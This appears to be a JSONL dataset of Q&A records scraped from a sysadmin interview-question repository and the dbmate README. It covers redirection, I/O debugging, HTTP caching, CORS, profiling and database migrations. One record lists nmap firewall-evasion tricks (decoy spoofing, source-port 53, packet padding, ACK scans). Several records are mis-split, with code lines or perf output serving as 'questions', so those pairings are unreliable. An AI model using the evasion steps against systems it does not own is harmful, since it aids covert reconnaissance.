`/dev/null`.\n\n`2>&1`\n\nThe general form of this one is `M>&N`, where **\"M\"** & **\"N\"** are file descriptor numbers. It combines the output of file descriptors **\"M\"** and **\"N\"** into a single stream.\n\n`|&`\n\nThis is just an abbreviation for `2>&1 |`. It was added in Bash 4.\n\n`&>/dev/null`\n\nThis is just an abbreviation for `>/dev/null 2>&1`. It redirects file descriptor 2 (`STDERR`) and descriptor 1 (`STDOUT`) to `/dev/null`.\n\n`>/dev/null`\n\nThis is just an abbreviation for `1>/dev/null`. It redirects file descriptor 1 (`STDOUT`) to `/dev/null`.\n\nUseful resources:\n\n- [Difference between 2>&-, 2>/dev/null, |&, &>/dev/null and >/dev/null 2>&1](https://unix.stackexchange.com/questions/70963/difference-between-2-2-dev-null-dev-null-and-dev-null-21)\n- [Chapter 20. I/O Redirection](http://www.tldp.org/LDP/abs/html/io-redirection.html)\nHow to redirect stderr and stdout to different files in the same line?\nJust add them in one line `command 2>> error 1>> output`.\n\nHowever, note that `>>` is for appending if the file already has data. Whereas, `>` will overwrite any existing data in the file.\n\nSo, `command 2> error 1> output` if you do not want to append.\n\nJust for completion's sake, you can write `1>` as just `>` since the default file descriptor is the output. so `1>` and `>` is the same thing.\n\nSo, `command 2> error 1> output` becomes, `command 2> error > output`.\nLoad averages are above 30 on a server with 24 cores but CPU shows around 70 percent idle. One of the common causes of this condition is? How to debug and fixed?\nRequests which involve disk I/O can be slowed greatly if cpu(s) needs to wait on the disk to read or write data. I/O Wait, is the percentage of time the CPU has to wait on disk.\n\nLets looks at how we can confirm if disk I/O is slowing down application performance by using a few terminal command line tools (`top`, `atop` and `iotop`).\n\nExample of debug:\n\n- answering whether or not I/O is causing system slowness\n- finding which disk is being written to\n- finding the processes that are causing high I/O\n- process list **state**\n- finding what files are being written too heavily\n- do you see your copy process put in **D** state waiting for I/O work to be done by pdflush?\n- do you see heavy synchronous write activity on your disks?\n\nalso:\n\n- using `top` command - load averages and wa (wait time)\n- using `atop` command to monitor DSK (disk", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392225"}
{"id": "gh_8076e311fc68", "question": "How to: -o - mount options", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "mount -t tmpfs tmpfs /mnt -o size=64M\n```\nHow to kills a process that is locking a file?\n```bash\nfuser -k filename\n```\nOther admin trying to debug a server accidentally typed:\n```\nchmod -x /bin/chmod\n```\n. How to reset permissions back to default?\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392235"}
{"id": "gh_be6fc4d901f1", "question": "How to: Testing connection to remote host (with SNI support)", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "echo | openssl s_client -showcerts -servername google.com -connect google.com:443", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 11401, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392291"}
{"id": "gh_0c669d41ad32", "question": "How to: Testing connection to remote host (without SNI support)", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "gnutls-cli --disable-sni -p 443 google.com\n```\nHow are cookies passed in the HTTP protocol?\nThe server sends the following in its response header to set a cookie field:\n\n`Set-Cookie:name=value`\n\nIf there is a cookie set, then the browser sends the following in its request header:\n\n`Cookie:name=value`\nHow to prevent processing requests in web server with undefined server names? No defined default server name rule can be security issue? ***\nTo be completed.\nYou should rewrite POST with payload to an external API but the POST requests loose the parameters passed on the URL. How to fix this problem (e.g. in Nginx) and what are the reasons for this behavior?\nThe issue is that external redirects will never resend **POST** data. This is written into the HTTP spec (check the `3xx` section). Any client that does do this is violating the spec.\n\n**POST** data is passed in the body of the request, which gets dropped if you do a standard redirect.\n\nLook at this:\n\n```\n   +-------------------------------------------+-----------+-----------+\n   |                                           | Permanent | Temporary |\n   +-------------------------------------------+-----------+-----------+\n   | Allows changing the request method from   | 301       | 302       |\n   | POST to GET                               |           |           |\n   | Does not allow changing the request       | 308       | 307       |\n   | method from POST to GET                   |           |           |\n   +-------------------------------------------+-----------+-----------+\n```\n\nYou can try with the HTTP status code **307**, a RFC compliant browser should repeat the post request. You just need to write a Nginx rewrite rule with HTTP status code **307** or **308**:\n\n```bash\nlocation / {\n    proxy_pass              http://localhost:80;\n    client_max_body_size    10m;\n}\n\nlocation /api {\n    # HTTP 307 only for POST method.\n    if ($request_method = POST) {\n        return 307 https://api.example.com?request_uri;\n    }\n\n    # You can keep this for non-POST requests.\n    rewrite ^ https://api.example.com?request_uri permanent;\n\n    client_max_body_size    10m;\n}\n```\n\nHTTP Status code **307** or **308** should be used instead of **301** because it changes the request method from **POST** to **GET**.\n\nUseful resources:\n\n- [Redirection on Apache (Maintain POST params)](https://stackoverflow.com/questions/17295085/redirection-on-apache-maintain-post-params)\n- [Why doesn't HTTP have POST redirect?](https://softwareengineering.stackexchange.com/questions/99894/why-doesnt-http-have-post-redirect)\nWhat is the proper way to test NFS performance? Prepare a short checklist.\nThe best benchmark is always \"the application(s) that you normally use\". The load on a NFS system when you have 20 people simultaneously compiling a Linux kernel is completely different from a bunch of people logging in at the same time or the accounts uses as \"home directories for the local web-server\".\n\nBut we have some good tools for testing this.\n\n-\nboonie\n- a classical performances evaluation tool tests. The main program tests database type access to a single file (or a set of files if you wish to test more than 1G of storage), and it tests creation, reading, and deleting of small files which can simulate the usage of programs such as Squid, INN, or Maildir format email.\n-\nDBench\n- was written to allow independent developers to debug and test SAMBA. It is heavily inspired of the original SAMBA tool.\n-\nIOZone\n- performance tests suite. POSIX and 64 bits compliant. This tests is the file system test from the L.S.E. Main features: POSIX async I/O, Mmap() file I/O, Normal file I/O Single stream measurement, Multiple stream measurement, Distributed file server measurements (Cluster) POSIX pthreads, Multi-process measurement selectable measurements with fsync, O_SYNC Latency plots.\nYou need to block several IPs from the same subnet. What is the most efficient way for the system to traverse the iptables rule set or the black-hole route?\nIf you have a system with thousands of routes defined in the routing table and nothing in the iptables rules than it might actually be more efficient to input an iptables rule.\n\nIn most systems however the routing table is fairly small, in cases like this it is actually more efficient to use null routes. This is especially true if you already have extensive iptables rules in place.\n\nAssuming you're blocking based on source address and not destination, then doing the **DROP** in **raw/PREROUTING** would work well as you would essentially be able to drop the packet before any routing decision is made.\n\nRemember however that iptables rules are essentially a linked-list and for optimum p", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392310"}
{"id": "gh_6286c12fad11", "question": "How to: Then, use the tunnel to copy the file directly from remote2", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "scp -P 1234 user2@localhost:file .\n```\nHow can you reduce load time of a dynamic website?\n- webpage optimization\n- cached web pages\n- quality web hosting\n- compressed text files\n- apache/nginx tuning\nWhat types of dns cache working when you type api.example.com in your browser and press return?\nBrowser checks if the domain is in its cache (to see the DNS Cache in Chrome, go to `chrome://net-internals/#dns`). When this cache fails, it simply asks the OS to resolve the domain.\n\nThe OS resolver has it's own cache which it will check. If it fails this, it resorts to asking the OS configured DNS servers.\n\nThe OS configured DNS servers will typically be configured by DHCP from the router where the DNS servers are likely to be the ISP's DNS servers configured by DHCP from the internet gateway to the router.\n\nIn the event the router has it's own DNS servers, it may have it's own cache otherwise you should be directed straight to your ISP's DNS servers most typically as soon as the OS cache was found to be empty.\n\nUseful resources:\n\n- [What happens when...](https://github.com/alex/what-happens-when)\n- [DNS Explained - How Your Browser Finds Websites](https://scotch.io/tutorials/dns-explained-how-your-browser-finds-websites)\n- [Firefox invalidate dns cache](https://stackoverflow.com/questions/13063496/firefox-invalidate-dns-cache)\nWhat is the difference between\n```\nCache-Control: max-age=0\n```\nand\n```\nCache-Control: no-cache\n```\n?\n**When sent by the origin server**\n\n`max-age=0` simply tells caches (and user agents) the response is stale from the get-go and so they SHOULD revalidate the response (e.g. with the If-Not-Modified header) before using a cached copy, whereas, `no-cache` tells them they MUST revalidate before using a cached copy.\n\nIn other words, caches may sometimes choose to use a stale response (although I believe they have to then add a Warning header), but `no-cache` says they're not allowed to use a stale response no matter what. Maybe you'd want the SHOULD-revalidate behavior when baseball stats are generated in a page, but you'd want the MUST-revalidate behavior when you've generated the response to an e-commerce purchase.\n\n**When sent by the user agent**\n\nIf a user agent sends a request with `Cache-Control: max-age=0` (aka. \"end-to-end revalidation\"), then each cache along the way will revalidate its cache entry (e.g. with the If-Not-Modified header) all the way to the origin server. If the reply is then 304 (Not Modified), the cached entity can be used.\n\nOn the other hand, sending a request with `Cache-Control: no-cache` (aka. \"end-to-end reload\") doesn't revalidate and the server MUST NOT use a cached copy when responding.\nWhat are the security risks of setting\n```\nAccess-Control-Allow-Origin\n```\n?\nBy responding with\n```\nAccess-Control-Allow-Origin: *\n```\n, the requested resource allows sharing with every origin. This basically means that any site can send an XHR request to your site and access the server’s response which would not be the case if you hadn’t implemented this CORS response.\n\nSo any site can make a request to your site on behalf of their visitors and process its response. If you have something implemented like an authentication or authorization scheme that is based on something that is automatically provided by the browser (cookies, cookie-based sessions, etc.), the requests triggered by the third party sites will use them too.\nCreate a single-use TCP or UDP proxy with\n```\nnetcat\n```\n.\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392323"}
{"id": "gh_41ccddaac006", "question": "How to: UDP -> TCP", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "nc -l -u -p 2000 -c \"nc [ip|hostname] 3000\"\n```\nExplain 3 techniques for avoiding firewalls with\n```\nnmap\n```\n.\n**Use Decoy addresses**\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392330"}
{"id": "gh_11161411d720", "question": "How to: Manually specify the IP addresses of the decoys.", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "nmap -D decoy1,decoy2,decoy3\n```\n\nIn this type of scan you can instruct Nmap to spoof packets from other hosts.In the firewall logs it will be not only our IP address but also and the IP addresses of the decoys so it will be much harder to determine from which system the scan started.\n\n**Source port number specification**\n\n```bash\nnmap --source-port 53 [target]\n```\n\nA common error that many administrators are doing when configuring firewalls is to set up a rule to allow all incoming traffic that comes from a specific port number.The\n```\n--source-port\n```\noption of Nmap can be used to exploit this misconfiguration.Common ports that you can use for this type of scan are: 20, 53 and 67.\n\n**Append Random Data**\n\n```bash\nnmap --data-length 25 [target]\n```\n\nMany firewalls are inspecting packets by looking at their size in order to identify a potential port scan.This is because many scanners are sending packets that have specific size.In order to avoid that kind of detection you can use the command\n```\n--data-length\n```\nto add additional data and to send packets with different size than the default.\n\n**TCP ACK Scan**\n\n```bash\nnmap -sA [target]\n```\n\nIt is always good to send the ACK packets rather than the SYN packets because if there is any active firewall working on the remote computer then because of the ACK packets the firewall cannot create the log, since firewalls treat ACK packet as the response of the SYN packet.\n\nUseful resources:\n\n- [Nmap - Techniques for Avoiding Firewalls](https://pentestlab.blog/2012/04/02/nmap-techniques-for-avoiding-firewalls/)\n\n###### Devops Questions (5)\nExplain how Flap Detection works in Nagios?\n**Flapping** occurs when a service or host changes state too frequently, this causes lot of problem and recovery notifications.\n\nOnce you have defined **Flapping**, explain how Nagios detects **Flapping**. Whenever Nagios checks the status of a host or service, it will check to see if it has started or stopped flapping.\n\nNagios follows the below given procedure to do that:\n\n- storing the results of the last 21 checks of the host or service analyzing the historical check results and determine where state changes/transitions occur\n- using the state transitions to determine a percent state change value (a measure of change) for the host or service\n- comparing the percent state change value against low and high flapping thresholds\nWhat are the advantages that Containerization provides over Virtualization?\nBelow are the advantages of containerization over virtualization:\n\n- containers provide real-time provisioning and scalability but VMs provide slow provisioning\n- containers are lightweight when compared to VMs\n- VMs have limited performance when compared to containers\n- containers have better resource utilization compared to VMs\nIs the way of distributing Docker apps (e.g. Apache, MySQL) from Docker Hub is good for production environments? Describe security problems and possible solutions. ***\nTo be completed.\nSome of the common use cases of LXC and LXD come from the following requirements... Explain.\n- the need for an isolated development environment without polluting your host machine\n- isolation within production servers and the possibility to run more than one service in its own container\n- a need to test things with more than one version of the same software or different operating system environments\n- experimenting with different and new releases of GNU/Linux distributions without having to install them on a physical host machine\n- trying out a software or development stack that may or may not be used after some playing around\n- installing many types of software in your primary development machine or production server and maintaining them on a longer run\n- doing a dry run of any installation or maintenance task before actually executing it on production machines\n- better utilization and provisioning of server resources with multiple services running for different users or clients\n- high-density virtual private server (VPS) hosting, where isolation without the cost of full virtualization is needed\n- easy access to host hardware from a container, compared to complicated access methods from virtual machines\n- multiple build environments with different customizations in place\nYou have to prepare a Redis cluster. How will you ensure security?\n- protect a given Redis instance from outside accesses via firewall\n- binding it to 127.0.0.1 if only local clients are accessing it\n- sandboxed environment\n- enabling **AUTH**\n- enabling **Protected Mode**\n- data encryption support (e.g. `spiped`)\n- disabling of specific commands\n- users **ACLs**\n\nUseful resources:\n\n- [Redis Security](https://redis.io/topics/security)\n- [A fe", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392345"}
{"id": "gh_975a0c050d8f", "question": "How to: :diamond_shape_with_a_dot_inside: <a name=\"guru-sysadmin\">Guru Sysadmin</a>", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "Explain what is Event-Driven architecture and how it improves performance? ***\nTo be completed.\nAn application encounters some performance issues. You should to find the code we have to optimize. How to profile app in Linux environment?\n> Ideally, I need an app that will attach to a process and log periodic snapshots of: memory usage number of threads CPU usage.\n\n1. You can use `top`in batch mode. It runs in the batch mode either until it is killed or until N iterations is done:\n\n```bash\ntop -b -p `pidof a.out`\n```\n\nor\n\n```bash\ntop -b -p `pidof a.out` -n 100\n```\n\n2. You can use ps (for instance in a shell script):\n\n```bash\nps --format pid,pcpu,cputime,etime,size,vsz,cmd -p `pidof a.out`\n```\n\n> I need some means of recording the performance of an application on a Linux machine.\n\n1. To record performance data:\n\n```bash\nperf record -p `pidof a.out`\n```\n\nor to record for 10 secs:\n\n```bash\nperf record -p `pidof a.out` sleep 10\n```\n\nor to record with call graph ():\n\n```bash\nperf record -g -p `pidof a.out`\n```\n\n2) To analyze the recorded data\n\n```bash\nperf report --stdio\nperf report --stdio --sort=dso -g none\nperf report --stdio -g none\nperf report --stdio -g\n```\n\n**This is an example of profiling a test program**\n\n1. I run my test program (c++):\n\n```bash\n./my_test 100000000\n```\n\n2. Then I record performance data of a running process:\n\n```bash\nperf record -g  -p `pidof my_test` -o ./my_test.perf.data sleep 30\n```\n\n3. Then I analyze load per module:\n\n```bash\nperf report --stdio -g none --sort comm,dso -i ./my_test.perf.data", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392355"}
{"id": "gh_601a2498fbb4", "question": "How to: 70.06%  my_test  my_test", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "28.33%  my_test  libtcmalloc_minimal.so.0.1.0\n     1.61%  my_test  [kernel.kallsyms]\n```\n\n4. Then load per function is analyzed:\n\n```bash\nperf report --stdio -g none -i ./my_test.perf.data | c++filt", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392361"}
{"id": "gh_276f27b1f81e", "question": "How to: 29.30%  my_test  my_test                       [.] f2(long)", "question_body": "About trimstray/test-your-sysadmin-skills", "answer": "29.14%  my_test  my_test                       [.] f1(long)\n    15.17%  my_test  libtcmalloc_minimal.so.0.1.0  [.] operator new(unsigned long)\n    13.16%  my_test  libtcmalloc_minimal.so.0.1.0  [.] operator delete(void*)\n     9.44%  my_test  my_test                       [.] process_request(long)\n     1.01%  my_test  my_test                       [.] operator delete(void*)@plt\n     0.97%  my_test  my_test                       [.] operator new(unsigned long)@plt\n     0.20%  my_test  my_test                       [.] main\n     0.19%  my_test  [kernel.kallsyms]             [k] apic_timer_interrupt\n     0.16%  my_test  [kernel.kallsyms]             [k] _spin_lock\n     0.13%  my_test  [kernel.kallsyms]             [k] native_write_msr_safe\n\n  ...\n```\n\n5. Then call chains are analyzed:\n\n```bash\nperf report --stdio -g graph -i ./my_test.perf.data | c++filt", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 11401, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/test-your-sysadmin-skills", "collected_at": "2026-01-17T12:59:33.392372"}
{"id": "gh_1254875b58d5", "question": "How to: Table of Contents", "question_body": "About amacneil/dbmate", "answer": "- [Features](#features)\n- [Installation](#installation)\n- [Commands](#commands)\n  - [Command Line Options](#command-line-options)\n- [Usage](#usage)\n  - [Connecting to the Database](#connecting-to-the-database)\n    - [PostgreSQL](#postgresql)\n    - [MySQL](#mysql)\n    - [SQLite](#sqlite)\n    - [ClickHouse](#clickhouse)\n    - [BigQuery](#bigquery)\n    - [Spanner](#spanner)\n  - [Creating Migrations](#creating-migrations)\n  - [Running Migrations](#running-migrations)\n  - [Rolling Back Migrations](#rolling-back-migrations)\n  - [Migration Options](#migration-options)\n  - [Waiting For The Database](#waiting-for-the-database)\n  - [Exporting Schema File](#exporting-schema-file)\n- [Library](#library)\n  - [Use dbmate as a library](#use-dbmate-as-a-library)\n  - [Embedding migrations](#embedding-migrations)\n- [Concepts](#concepts)\n  - [Migration files](#migration-files)\n  - [Schema file](#schema-file)\n  - [Schema migrations table](#schema-migrations-table)\n- [Alternatives](#alternatives)\n- [Contributing](#contributing)", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254213"}
{"id": "gh_83dc4ed62f06", "question": "How to: Installation", "question_body": "About amacneil/dbmate", "answer": "**NPM**\n\nInstall using [NPM](https://www.npmjs.com/):\n\n```sh\nnpm install --save-dev dbmate\nnpx dbmate --help\n```\n\n**macOS**\n\nInstall using [Homebrew](https://brew.sh/):\n\n```sh\nbrew install dbmate\ndbmate --help\n```\n\n**Linux**\n\nInstall the binary directly:\n\n```sh\nsudo curl -fsSL -o /usr/local/bin/dbmate https://github.com/amacneil/dbmate/releases/latest/download/dbmate-linux-amd64\nsudo chmod +x /usr/local/bin/dbmate\n/usr/local/bin/dbmate --help\n```\n\n**Windows**\n\nInstall using [Scoop](https://scoop.sh)\n\n```pwsh\nscoop install dbmate\ndbmate --help\n```\n\n**Docker**\n\nDocker images are published to GitHub Container Registry ([`ghcr.io/amacneil/dbmate`](https://ghcr.io/amacneil/dbmate)).\n\nRemember to set `--network=host` or see [this comment](https://github.com/amacneil/dbmate/issues/128#issuecomment-615924611) for more tips on using dbmate with docker networking):\n\n```sh\ndocker run --rm -it --network=host ghcr.io/amacneil/dbmate --help\n```\n\nIf you wish to create or apply migrations, you will need to use Docker's [bind mount](https://docs.docker.com/storage/bind-mounts/) feature to make your local working directory (`pwd`) available inside the dbmate container:\n\n```sh\ndocker run --rm -it --network=host -v \"$(pwd)/db:/db\" ghcr.io/amacneil/dbmate new create_users_table\n```", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254230"}
{"id": "gh_211f305e0e3b", "question": "How to: Command Line Options", "question_body": "About amacneil/dbmate", "answer": "The following options are available with all commands. You must use command line arguments in the order `dbmate [global options] command [command options]`. Most options can also be configured via environment variables (and loaded from your `.env` file, which is helpful to share configuration between team members).\n\n- `--url, -u \"protocol://host:port/dbname\"` - specify the database url directly. _(env: `DATABASE_URL`)_\n- `--env, -e \"DATABASE_URL\"` - specify an environment variable to read the database connection URL from.\n- `--env-file \".env\"` - specify an alternate environment variables file(s) to load.\n- `--migrations-dir, -d \"./db/migrations\"` - where to keep the migration files. _(env: `DBMATE_MIGRATIONS_DIR`)_\n- `--migrations-table \"schema_migrations\"` - database table to record migrations in. _(env: `DBMATE_MIGRATIONS_TABLE`)_\n- `--schema-file, -s \"./db/schema.sql\"` - a path to keep the schema.sql file. _(env: `DBMATE_SCHEMA_FILE`)_\n- `--no-dump-schema` - don't auto-update the schema.sql file on migrate/rollback _(env: `DBMATE_NO_DUMP_SCHEMA`)_\n- `--strict` - fail if migrations would be applied out of order _(env: `DBMATE_STRICT`)_\n- `--wait` - wait for the db to become available before executing the subsequent command _(env: `DBMATE_WAIT`)_\n- `--wait-timeout 60s` - timeout for --wait flag _(env: `DBMATE_WAIT_TIMEOUT`)_", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 6633, "answer_score": 10, "has_code": false, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254243"}
{"id": "gh_095c7148d002", "question": "How to: Connecting to the Database", "question_body": "About amacneil/dbmate", "answer": "Dbmate locates your database using the `DATABASE_URL` environment variable by default. If you are writing a [twelve-factor app](http://12factor.net/), you should be storing all connection strings in environment variables.\n\nTo make this easy in development, dbmate looks for a `.env` file in the current directory, and treats any variables listed there as if they were specified in the current environment (existing environment variables take preference, however).\n\nIf you do not already have a `.env` file, create one and add your database connection URL:\n\n```sh\n$ cat .env\nDATABASE_URL=\"postgres://postgres@127.0.0.1:5432/myapp_development?sslmode=disable\"\n```\n\n`DATABASE_URL` should be specified in the following format:\n\n```\nprotocol://username:password@host:port/database_name?options\n```\n\n- `protocol` must be one of `mysql`, `postgres`, `postgresql`, `sqlite`, `sqlite3`, `clickhouse`\n- `username` and `password` must be URL encoded (you will get an error if you use special charactors)\n- `host` can be either a hostname or IP address\n- `options` are driver-specific (refer to the underlying Go SQL drivers if you wish to use these)\n\nDbmate can also load the connection URL from a different environment variable. For example, before running your test suite, you may wish to drop and recreate the test database. One easy way to do this is to store your test database connection URL in the `TEST_DATABASE_URL` environment variable:\n\n```sh\n$ cat .env\nDATABASE_URL=\"postgres://postgres@127.0.0.1:5432/myapp_dev?sslmode=disable\"\nTEST_DATABASE_URL=\"postgres://postgres@127.0.0.1:5432/myapp_test?sslmode=disable\"\n```\n\nYou can then specify this environment variable in your test script (Makefile or similar):\n\n```sh\n$ dbmate -e TEST_DATABASE_URL drop\nDropping: myapp_test\n$ dbmate -e TEST_DATABASE_URL --no-dump-schema up\nCreating: myapp_test\nApplying: 20151127184807_create_users_table.sql\nApplied: 20151127184807_create_users_table.sql in 123µs\n```\n\nAlternatively, you can specify the url directly on the command line:\n\n```sh\n$ dbmate -u \"postgres://postgres@127.0.0.1:5432/myapp_test?sslmode=disable\" up\n```\n\nThe only advantage of using `dbmate -e TEST_DATABASE_URL` over `dbmate -u $TEST_DATABASE_URL` is that the former takes advantage of dbmate's automatic `.env` file loading.\n\n#### PostgreSQL\n\nWhen connecting to Postgres, you may need to add the `sslmode=disable` option to your connection string, as dbmate by default requires a TLS connection (some other frameworks/languages allow unencrypted connections by default).\n\n```sh\nDATABASE_URL=\"postgres://username:password@127.0.0.1:5432/database_name?sslmode=disable\"\n```\n\nA `socket` or `host` parameter can be specified to connect through a unix socket (note: specify the directory only):\n\n```sh\nDATABASE_URL=\"postgres://username:password@/database_name?socket=/var/run/postgresql\"\n```\n\nA `search_path` parameter can be used to specify the [current schema](https://www.postgresql.org/docs/13/ddl-schemas.html#DDL-SCHEMAS-PATH) while applying migrations, as well as for dbmate's `schema_migrations` table.\nIf the schema does not exist, it will be created automatically. If multiple comma-separated schemas are passed, the first will be used for the `schema_migrations` table.\n\n```sh\nDATABASE_URL=\"postgres://username:password@127.0.0.1:5432/database_name?search_path=myschema\"\n```\n\n```sh\nDATABASE_URL=\"postgres://username:password@127.0.0.1:5432/database_name?search_path=myschema,public\"\n```\n\n#### MySQL\n\n```sh\nDATABASE_URL=\"mysql://username:password@127.0.0.1:3306/database_name\"\n```\n\nA `socket` parameter can be specified to connect through a unix socket:\n\n```sh\nDATABASE_URL=\"mysql://username:password@/database_name?socket=/var/run/mysqld/mysqld.sock\"\n```\n\n#### SQLite\n\nSQLite databases are stored on the filesystem, so you do not need to specify a host. By default, files are relative to the current directory. For example, the following will create a database at `./db/database.sqlite3`:\n\n```sh\nDATABASE_URL=\"sqlite:db/database.sqlite3\"\n```\n\nTo specify an absolute path, add a forward slash to the path. The following will create a database at `/tmp/database.sqlite3`:\n\n```sh\nDATABASE_URL=\"sqlite:/tmp/database.sqlite3\"\n```\n\nNote that for some common [settings](https://sqlite.org/pragma.html) like `journal_mode` to improve performance, transactions need to be disabled for that migration file, e.g.\n\n```sql\n-- migrate:up transaction:false\nPRAGMA journal_mode = WAL;\n```\n\nOtherwise the migration will fail with \"Error: cannot change into wal mode from within a transaction\".\n\n#### ClickHouse\n\n```sh\nDATABASE_URL=\"clickhouse://username:password@127.0.0.1:9000/database_name\"\n```\n\nTo work with ClickHouse cluster, there are 4 connection query parameters that can be supplied:\n\n- `on_cluster` - Indicataion to use cluster statements and replicated migration table. (default: `false`) If this parameter is not supplied, other cluster related query parameters are ignored.\n\n```sh\nDATABASE_URL=\"clickhouse://username:password@127.0.0.1:9000/d", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254272"}
{"id": "gh_ffd6f515f97f", "question": "How to: Creating Migrations", "question_body": "About amacneil/dbmate", "answer": "To create a new migration, run `dbmate new create_users_table`. You can name the migration anything you like. This will create a file `db/migrations/20151127184807_create_users_table.sql` in the current directory:\n\n```sql\n-- migrate:up\n\n-- migrate:down\n```\n\nTo write a migration, simply add your SQL to the `migrate:up` section:\n\n```sql\n-- migrate:up\ncreate table users (\n  id integer,\n  name varchar(255),\n  email varchar(255) not null\n);\n\n-- migrate:down\n```\n\nFor related changes, it is possible to include multiple migrations in a single file using additional `migrate:up` and `migrate:down` sections. Migration file either succeeds or fails as a whole.\n\n```sql\n-- migrate:up\nCREATE TABLE users (id SERIAL PRIMARY KEY);\n\n-- migrate:down\nDROP TABLE users;\n\n-- migrate:up\nALTER TABLE users ADD COLUMN email VARCHAR;\n\n-- migrate:down\nALTER TABLE users DROP COLUMN email;\n```\n\n> Note: Migration files are named in the format `[version]_[description].sql`. Only the version (defined as all leading numeric characters in the file name) is recorded in the database, so you can safely rename a migration file without having any effect on its current application state.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254283"}
{"id": "gh_5868f74396e6", "question": "How to: Running Migrations", "question_body": "About amacneil/dbmate", "answer": "Run `dbmate up` to run any pending migrations.\n\n```sh\n$ dbmate up\nCreating: myapp_development\nApplying: 20151127184807_create_users_table.sql\nApplied: 20151127184807_create_users_table.sql in 123µs\nWriting: ./db/schema.sql\n```\n\n> Note: `dbmate up` will create the database if it does not already exist (assuming the current user has permission to create databases). If you want to run migrations without creating the database, run `dbmate migrate`.\n\nPending migrations are always applied in numerical order. However, dbmate does not prevent migrations from being applied out of order if they are committed independently (for example: if a developer has been working on a branch for a long time, and commits a migration which has a lower version number than other already-applied migrations, dbmate will simply apply the pending migration). See [#159](https://github.com/amacneil/dbmate/issues/159) for a more detailed explanation.", "tags": ["amacneil"], "source": "github_gists", "category": "amacneil", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 6633, "answer_score": 10, "has_code": true, "url": "https://github.com/amacneil/dbmate", "collected_at": "2026-01-17T12:59:39.254290"}
